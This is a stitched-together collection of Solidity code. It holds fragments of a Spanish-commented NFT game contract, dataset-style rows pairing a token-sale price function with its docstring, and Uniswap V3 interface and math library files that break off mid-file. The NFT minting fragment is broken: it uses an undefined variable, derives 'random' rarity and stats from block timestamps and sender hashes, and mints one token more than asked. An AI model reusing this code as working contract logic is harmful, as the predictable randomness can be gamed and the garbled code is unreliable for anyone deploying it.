function habilUp(uint256 _lipId) public payable {
require(ownerOf(_lipId) == msg.sender);
require(msg.value >= fee);
Lip storage lip = lips[_lipId];
uint auvi;
auvi = 3;
lip.habil = lip.habil + auvi;
}
// Subir Fuerza los tokens NFT
function fuerzaUp(uint256 _lipId) public payable {
require(ownerOf(_lipId) == msg.sender);
require(msg.value >= fee);
Lip storage lip = lips[_lipId];
uint auvi;
auvi = 5;
lip.fuerza = lip.fuerza + auvi;
}
// Subir Defenza los tokens NFT
function defenzaUp(uint256 _lipId) public payable {
require(ownerOf(_lipId) == msg.sender);
require(msg.value >= fee);
Lip storage lip = lips[_lipId];
uint auvi;
auvi = 3;
lip.defenza = lip.defenza + auvi;
}
// Subir Poder los tokens NFT
function poderUp(uint256 _lipId) public payable {
require(ownerOf(_lipId) == msg.sender);
require(msg.value >= fee);
Lip storage lip = lips[_lipId];
uint auvi;
auvi = 10;
lip.poder = lip.poder + auvi;
}
}
|
Creación del Token NFT (AniMons)uint256 randomNum2 = uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender)));uint256 vida = randomNum2/100000000;
|
function _createLip(string memory _name, uint _cant) internal {
cant = _cant;
uint randDna = _createRandomNum(10**16);
uint8 randRarity = uint8(_createRandomNum(100));
uint sexo = _createRandomNum(33*33);
uint256 vida = block.timestamp/100000000;
for (uint256 i = 0; i <= cant; i++){
vida = vida*7;
randDna = randDna *35;
randRarity = randRarity*3;
uint habil = 5;
uint fuerza = 5;
uint defenza = 5;
uint poder = 5;
Lip memory newLip = Lip(_name, COUNTER, randDna, level, randRarity, sex, vida, habil, fuerza, defenza, poder);
lips.push(newLip);
_safeMint(msg.sender, COUNTER);
emit NewLip(msg.sender, COUNTER, randDna);
vida = vida /15;
randDna = randDna /25;
randDna= randDna * 7;
COUNTER++;
randRarity = randRarity /10;
randRarity = randRarity /5;
}
}
| 6,476,390 |
./partial_match/1/0x8648910ff06a3ab2B977984150aCdAd25481c937/sources/MonkTokenSale.sol
|
Gets the ETH price from the price feed aggregator. return The ETH price in USD./
|
function getETHPrice() public view returns (uint) {
(uint80 roundId, , , , ) = eth_priceFeed.latestRoundData();
uint256 round_ = (roundId / 10) * 10;
(, int price, , , ) = eth_priceFeed.getRoundData(uint80(round_));
require(price >= 0, "MONK: Invalid Price Feed Data");
return uint256(price);
}
| 15,720,386 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title The interface for the Uniswap V3 Factory
/// @notice The Uniswap V3 Factory facilitates creation of Uniswap V3 pools and control over the protocol fees
interface IUniswapV3Factory {
/// @notice Emitted when the owner of the factory is changed
/// @param oldOwner The owner before the owner was changed
/// @param newOwner The owner after the owner was changed
event OwnerChanged(address indexed oldOwner, address indexed newOwner);
/// @notice Emitted when a pool is created
/// @param token0 The first token of the pool by address sort order
/// @param token1 The second token of the pool by address sort order
/// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip
/// @param tickSpacing The minimum number of ticks between initialized ticks
/// @param pool The address of the created pool
event PoolCreated(
address indexed token0,
address indexed token1,
uint24 indexed fee,
int24 tickSpacing,
address pool
);
/// @notice Emitted when a new fee amount is enabled for pool creation via the factory
/// @param fee The enabled fee, denominated in hundredths of a bip
/// @param tickSpacing The minimum number of ticks between initialized ticks for pools created with the given fee
event FeeAmountEnabled(uint24 indexed fee, int24 indexed tickSpacing);
/// @notice Returns the current owner of the factory
/// @dev Can be changed by the current owner via setOwner
/// @return The address of the factory owner
function owner() external view returns (address);
/// @notice Returns the tick spacing for a given fee amount, if enabled, or 0 if not enabled
/// @dev A fee amount can never be removed, so this value should be hard coded or cached in the calling context
/// @param fee The enabled fee, denominated in hundredths of a bip. Returns 0 in case of unenabled fee
/// @return The tick spacing
function feeAmountTickSpacing(uint24 fee) external view returns (int24);
/// @notice Returns the pool address for a given pair of tokens and a fee, or address 0 if it does not exist
/// @dev tokenA and tokenB may be passed in either token0/token1 or token1/token0 order
/// @param tokenA The contract address of either token0 or token1
/// @param tokenB The contract address of the other token
/// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip
/// @return pool The pool address
function getPool(
address tokenA,
address tokenB,
uint24 fee
) external view returns (address pool);
/// @notice Creates a pool for the given two tokens and fee
/// @param tokenA One of the two tokens in the desired pool
/// @param tokenB The other of the two tokens in the desired pool
/// @param fee The desired fee for the pool
/// @dev tokenA and tokenB may be passed in either order: token0/token1 or token1/token0. tickSpacing is retrieved
/// from the fee. The call will revert if the pool already exists, the fee is invalid, or the token arguments
/// are invalid.
/// @return pool The address of the newly created pool
function createPool(
address tokenA,
address tokenB,
uint24 fee
) external returns (address pool);
/// @notice Updates the owner of the factory
/// @dev Must be called by the current owner
/// @param _owner The new owner of the factory
function setOwner(address _owner) external;
/// @notice Enables a fee amount with the given tickSpacing
/// @dev Fee amounts may never be removed once enabled
/// @param fee The fee amount to enable, denominated in hundredths of a bip (i.e. 1e-6)
/// @param tickSpacing The spacing between ticks to be enforced for all pools created with the given fee amount
function enableFeeAmount(uint24 fee, int24 tickSpacing) external;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
import './pool/IUniswapV3PoolImmutables.sol';
import './pool/IUniswapV3PoolState.sol';
import './pool/IUniswapV3PoolDerivedState.sol';
import './pool/IUniswapV3PoolActions.sol';
import './pool/IUniswapV3PoolOwnerActions.sol';
import './pool/IUniswapV3PoolEvents.sol';
/// @title The interface for a Uniswap V3 Pool
/// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform
/// to the ERC20 specification
/// @dev The pool interface is broken up into many smaller pieces
interface IUniswapV3Pool is
IUniswapV3PoolImmutables,
IUniswapV3PoolState,
IUniswapV3PoolDerivedState,
IUniswapV3PoolActions,
IUniswapV3PoolOwnerActions,
IUniswapV3PoolEvents
{
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Callback for IUniswapV3PoolActions#swap
/// @notice Any contract that calls IUniswapV3PoolActions#swap must implement this interface
interface IUniswapV3SwapCallback {
/// @notice Called to `msg.sender` after executing a swap via IUniswapV3Pool#swap.
/// @dev In the implementation you must pay the pool tokens owed for the swap.
/// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory.
/// amount0Delta and amount1Delta can both be 0 if no tokens were swapped.
/// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by
/// the end of the swap. If positive, the callback must send that amount of token0 to the pool.
/// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by
/// the end of the swap. If positive, the callback must send that amount of token1 to the pool.
/// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata data
) external;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Permissionless pool actions
/// @notice Contains pool methods that can be called by anyone
interface IUniswapV3PoolActions {
/// @notice Sets the initial price for the pool
/// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value
/// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96
function initialize(uint160 sqrtPriceX96) external;
/// @notice Adds liquidity for the given recipient/tickLower/tickUpper position
/// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback
/// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends
/// on tickLower, tickUpper, the amount of liquidity, and the current price.
/// @param recipient The address for which the liquidity will be created
/// @param tickLower The lower tick of the position in which to add liquidity
/// @param tickUpper The upper tick of the position in which to add liquidity
/// @param amount The amount of liquidity to mint
/// @param data Any data that should be passed through to the callback
/// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback
/// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback
function mint(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount,
bytes calldata data
) external returns (uint256 amount0, uint256 amount1);
/// @notice Collects tokens owed to a position
/// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity.
/// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or
/// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the
/// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity.
/// @param recipient The address which should receive the fees collected
/// @param tickLower The lower tick of the position for which to collect fees
/// @param tickUpper The upper tick of the position for which to collect fees
/// @param amount0Requested How much token0 should be withdrawn from the fees owed
/// @param amount1Requested How much token1 should be withdrawn from the fees owed
/// @return amount0 The amount of fees collected in token0
/// @return amount1 The amount of fees collected in token1
function collect(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount0Requested,
uint128 amount1Requested
) external returns (uint128 amount0, uint128 amount1);
/// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position
/// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0
/// @dev Fees must be collected separately via a call to #collect
/// @param tickLower The lower tick of the position for which to burn liquidity
/// @param tickUpper The upper tick of the position for which to burn liquidity
/// @param amount How much liquidity to burn
/// @return amount0 The amount of token0 sent to the recipient
/// @return amount1 The amount of token1 sent to the recipient
function burn(
int24 tickLower,
int24 tickUpper,
uint128 amount
) external returns (uint256 amount0, uint256 amount1);
/// @notice Swap token0 for token1, or token1 for token0
/// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback
/// @param recipient The address to receive the output of the swap
/// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0
/// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative)
/// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this
/// value after the swap. If one for zero, the price cannot be greater than this value after the swap
/// @param data Any data to be passed through to the callback
/// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive
/// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external returns (int256 amount0, int256 amount1);
/// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback
/// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback
/// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling
/// with 0 amount{0,1} and sending the donation amount(s) from the callback
/// @param recipient The address which will receive the token0 and token1 amounts
/// @param amount0 The amount of token0 to send
/// @param amount1 The amount of token1 to send
/// @param data Any data to be passed through to the callback
function flash(
address recipient,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external;
/// @notice Increase the maximum number of price and liquidity observations that this pool will store
/// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to
/// the input observationCardinalityNext.
/// @param observationCardinalityNext The desired minimum number of observations for the pool to store
function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Pool state that is not stored
/// @notice Contains view functions to provide information about the pool that is computed rather than stored on the
/// blockchain. The functions here may have variable gas costs.
interface IUniswapV3PoolDerivedState {
/// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp
/// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing
/// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick,
/// you must call it with secondsAgos = [3600, 0].
/// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in
/// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio.
/// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned
/// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp
/// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block
/// timestamp
function observe(uint32[] calldata secondsAgos)
external
view
returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s);
/// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range
/// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed.
/// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first
/// snapshot is taken and the second snapshot is taken.
/// @param tickLower The lower tick of the range
/// @param tickUpper The upper tick of the range
/// @return tickCumulativeInside The snapshot of the tick accumulator for the range
/// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range
/// @return secondsInside The snapshot of seconds per liquidity for the range
function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)
external
view
returns (
int56 tickCumulativeInside,
uint160 secondsPerLiquidityInsideX128,
uint32 secondsInside
);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Events emitted by a pool
/// @notice Contains all events emitted by the pool
interface IUniswapV3PoolEvents {
/// @notice Emitted exactly once by a pool when #initialize is first called on the pool
/// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize
/// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96
/// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool
event Initialize(uint160 sqrtPriceX96, int24 tick);
/// @notice Emitted when liquidity is minted for a given position
/// @param sender The address that minted the liquidity
/// @param owner The owner of the position and recipient of any minted liquidity
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount The amount of liquidity minted to the position range
/// @param amount0 How much token0 was required for the minted liquidity
/// @param amount1 How much token1 was required for the minted liquidity
event Mint(
address sender,
address indexed owner,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted when fees are collected by the owner of a position
/// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees
/// @param owner The owner of the position for which fees are collected
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount0 The amount of token0 fees collected
/// @param amount1 The amount of token1 fees collected
event Collect(
address indexed owner,
address recipient,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount0,
uint128 amount1
);
/// @notice Emitted when a position's liquidity is removed
/// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect
/// @param owner The owner of the position for which liquidity is removed
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount The amount of liquidity to remove
/// @param amount0 The amount of token0 withdrawn
/// @param amount1 The amount of token1 withdrawn
event Burn(
address indexed owner,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted by the pool for any swaps between token0 and token1
/// @param sender The address that initiated the swap call, and that received the callback
/// @param recipient The address that received the output of the swap
/// @param amount0 The delta of the token0 balance of the pool
/// @param amount1 The delta of the token1 balance of the pool
/// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96
/// @param liquidity The liquidity of the pool after the swap
/// @param tick The log base 1.0001 of price of the pool after the swap
event Swap(
address indexed sender,
address indexed recipient,
int256 amount0,
int256 amount1,
uint160 sqrtPriceX96,
uint128 liquidity,
int24 tick
);
/// @notice Emitted by the pool for any flashes of token0/token1
/// @param sender The address that initiated the swap call, and that received the callback
/// @param recipient The address that received the tokens from flash
/// @param amount0 The amount of token0 that was flashed
/// @param amount1 The amount of token1 that was flashed
/// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee
/// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee
event Flash(
address indexed sender,
address indexed recipient,
uint256 amount0,
uint256 amount1,
uint256 paid0,
uint256 paid1
);
/// @notice Emitted by the pool for increases to the number of observations that can be stored
/// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index
/// just before a mint/swap/burn.
/// @param observationCardinalityNextOld The previous value of the next observation cardinality
/// @param observationCardinalityNextNew The updated value of the next observation cardinality
event IncreaseObservationCardinalityNext(
uint16 observationCardinalityNextOld,
uint16 observationCardinalityNextNew
);
/// @notice Emitted when the protocol fee is changed by the pool
/// @param feeProtocol0Old The previous value of the token0 protocol fee
/// @param feeProtocol1Old The previous value of the token1 protocol fee
/// @param feeProtocol0New The updated value of the token0 protocol fee
/// @param feeProtocol1New The updated value of the token1 protocol fee
event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New);
/// @notice Emitted when the collected protocol fees are withdrawn by the factory owner
/// @param sender The address that collects the protocol fees
/// @param recipient The address that receives the collected protocol fees
/// @param amount0 The amount of token0 protocol fees that is withdrawn
/// @param amount0 The amount of token1 protocol fees that is withdrawn
event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Pool state that never changes
/// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values
interface IUniswapV3PoolImmutables {
/// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface
/// @return The contract address
function factory() external view returns (address);
/// @notice The first of the two tokens of the pool, sorted by address
/// @return The token contract address
function token0() external view returns (address);
/// @notice The second of the two tokens of the pool, sorted by address
/// @return The token contract address
function token1() external view returns (address);
/// @notice The pool's fee in hundredths of a bip, i.e. 1e-6
/// @return The fee
function fee() external view returns (uint24);
/// @notice The pool tick spacing
/// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive
/// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ...
/// This value is an int24 to avoid casting even though it is always positive.
/// @return The tick spacing
function tickSpacing() external view returns (int24);
/// @notice The maximum amount of position liquidity that can use any tick in the range
/// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and
/// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool
/// @return The max amount of liquidity per tick
function maxLiquidityPerTick() external view returns (uint128);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Permissioned pool actions
/// @notice Contains pool methods that may only be called by the factory owner
interface IUniswapV3PoolOwnerActions {
/// @notice Set the denominator of the protocol's % share of the fees
/// @param feeProtocol0 new protocol fee for token0 of the pool
/// @param feeProtocol1 new protocol fee for token1 of the pool
function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external;
/// @notice Collect the protocol fee accrued to the pool
/// @param recipient The address to which collected protocol fees should be sent
/// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1
/// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0
/// @return amount0 The protocol fee collected in token0
/// @return amount1 The protocol fee collected in token1
function collectProtocol(
address recipient,
uint128 amount0Requested,
uint128 amount1Requested
) external returns (uint128 amount0, uint128 amount1);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Pool state that can change
/// @notice These methods compose the pool's state, and can change with any frequency including multiple times
/// per transaction
interface IUniswapV3PoolState {
/// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas
/// when accessed externally.
/// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value
/// tick The current tick of the pool, i.e. according to the last tick transition that was run.
/// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick
/// boundary.
/// observationIndex The index of the last oracle observation that was written,
/// observationCardinality The current maximum number of observations stored in the pool,
/// observationCardinalityNext The next maximum number of observations, to be updated when the observation.
/// feeProtocol The protocol fee for both tokens of the pool.
/// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0
/// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee.
/// unlocked Whether the pool is currently locked to reentrancy
function slot0()
external
view
returns (
uint160 sqrtPriceX96,
int24 tick,
uint16 observationIndex,
uint16 observationCardinality,
uint16 observationCardinalityNext,
uint8 feeProtocol,
bool unlocked
);
/// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool
/// @dev This value can overflow the uint256
function feeGrowthGlobal0X128() external view returns (uint256);
/// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool
/// @dev This value can overflow the uint256
function feeGrowthGlobal1X128() external view returns (uint256);
/// @notice The amounts of token0 and token1 that are owed to the protocol
/// @dev Protocol fees will never exceed uint128 max in either token
function protocolFees() external view returns (uint128 token0, uint128 token1);
/// @notice The currently in range liquidity available to the pool
/// @dev This value has no relationship to the total liquidity across all ticks
function liquidity() external view returns (uint128);
/// @notice Look up information about a specific tick in the pool
/// @param tick The tick to look up
/// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or
/// tick upper,
/// liquidityNet how much liquidity changes when the pool price crosses the tick,
/// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0,
/// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1,
/// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick
/// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick,
/// secondsOutside the seconds spent on the other side of the tick from the current tick,
/// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false.
/// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0.
/// In addition, these values are only relative and must be used only in comparison to previous snapshots for
/// a specific position.
function ticks(int24 tick)
external
view
returns (
uint128 liquidityGross,
int128 liquidityNet,
uint256 feeGrowthOutside0X128,
uint256 feeGrowthOutside1X128,
int56 tickCumulativeOutside,
uint160 secondsPerLiquidityOutsideX128,
uint32 secondsOutside,
bool initialized
);
/// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information
function tickBitmap(int16 wordPosition) external view returns (uint256);
/// @notice Returns the information about a position by the position's key
/// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper
/// @return _liquidity The amount of liquidity in the position,
/// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke,
/// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke,
/// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke,
/// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke
function positions(bytes32 key)
external
view
returns (
uint128 _liquidity,
uint256 feeGrowthInside0LastX128,
uint256 feeGrowthInside1LastX128,
uint128 tokensOwed0,
uint128 tokensOwed1
);
/// @notice Returns data about a specific observation index
/// @param index The element of the observations array to fetch
/// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time
/// ago, rather than at a specific index in the array.
/// @return blockTimestamp The timestamp of the observation,
/// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp,
/// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp,
/// Returns initialized whether the observation has been initialized and the values are safe to use
function observations(uint256 index)
external
view
returns (
uint32 blockTimestamp,
int56 tickCumulative,
uint160 secondsPerLiquidityCumulativeX128,
bool initialized
);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.4.0;
/// @title FixedPoint128
/// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format)
library FixedPoint128 {
uint256 internal constant Q128 = 0x100000000000000000000000000000000;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.4.0;
/// @title FixedPoint96
/// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format)
/// @dev Used in SqrtPriceMath.sol
library FixedPoint96 {
uint8 internal constant RESOLUTION = 96;
uint256 internal constant Q96 = 0x1000000000000000000000000;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.0;
/// @title Contains 512-bit math functions
/// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision
/// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits
library FullMath {
/// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
/// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv
function mulDiv(
uint256 a,
uint256 b,
uint256 denominator
) internal pure returns (uint256 result) {
// 512-bit multiply [prod1 prod0] = a * b
// Compute the product mod 2**256 and mod 2**256 - 1
// then use the Chinese Remainder Theorem to reconstruct
// the 512 bit result. The result is stored in two 256
// variables such that product = prod1 * 2**256 + prod0
uint256 prod0; // Least significant 256 bits of the product
uint256 prod1; // Most significant 256 bits of the product
assembly {
let mm := mulmod(a, b, not(0))
prod0 := mul(a, b)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
// Handle non-overflow cases, 256 by 256 division
if (prod1 == 0) {
require(denominator > 0);
assembly {
result := div(prod0, denominator)
}
return result;
}
// Make sure the result is less than 2**256.
// Also prevents denominator == 0
require(denominator > prod1);
///////////////////////////////////////////////
// 512 by 256 division.
///////////////////////////////////////////////
// Make division exact by subtracting the remainder from [prod1 prod0]
// Compute remainder using mulmod
uint256 remainder;
assembly {
remainder := mulmod(a, b, denominator)
}
// Subtract 256 bit number from 512 bit number
assembly {
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
// Factor powers of two out of denominator
// Compute largest power of two divisor of denominator.
// Always >= 1.
uint256 twos = -denominator & denominator;
// Divide denominator by power of two
assembly {
denominator := div(denominator, twos)
}
// Divide [prod1 prod0] by the factors of two
assembly {
prod0 := div(prod0, twos)
}
// Shift in bits from prod1 into prod0. For this we need
// to flip `twos` such that it is 2**256 / twos.
// If twos is zero, then it becomes one
assembly {
twos := add(div(sub(0, twos), twos), 1)
}
prod0 |= prod1 * twos;
// Invert denominator mod 2**256
// Now that denominator is an odd number, it has an inverse
// modulo 2**256 such that denominator * inv = 1 mod 2**256.
// Compute the inverse by starting with a seed that is correct
// correct for four bits. That is, denominator * inv = 1 mod 2**4
uint256 inv = (3 * denominator) ^ 2;
// Now use Newton-Raphson iteration to improve the precision.
// Thanks to Hensel's lifting lemma, this also works in modular
// arithmetic, doubling the correct bits in each step.
inv *= 2 - denominator * inv; // inverse mod 2**8
inv *= 2 - denominator * inv; // inverse mod 2**16
inv *= 2 - denominator * inv; // inverse mod 2**32
inv *= 2 - denominator * inv; // inverse mod 2**64
inv *= 2 - denominator * inv; // inverse mod 2**128
inv *= 2 - denominator * inv; // inverse mod 2**256
// Because the division is now exact we can divide by multiplying
// with the modular inverse of denominator. This will give us the
// correct result modulo 2**256. Since the precoditions guarantee
// that the outcome is less than 2**256, this is the final result.
// We don't need to compute the high bits of the result and prod1
// is no longer required.
result = prod0 * inv;
return result;
}
/// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
function mulDivRoundingUp(
uint256 a,
uint256 b,
uint256 denominator
) internal pure returns (uint256 result) {
result = mulDiv(a, b, denominator);
if (mulmod(a, b, denominator) > 0) {
require(result < type(uint256).max);
result++;
}
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Math library for computing sqrt prices from ticks and vice versa
/// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports
/// prices between 2**-128 and 2**128
library TickMath {
/// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128
int24 internal constant MIN_TICK = -887272;
/// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128
int24 internal constant MAX_TICK = -MIN_TICK;
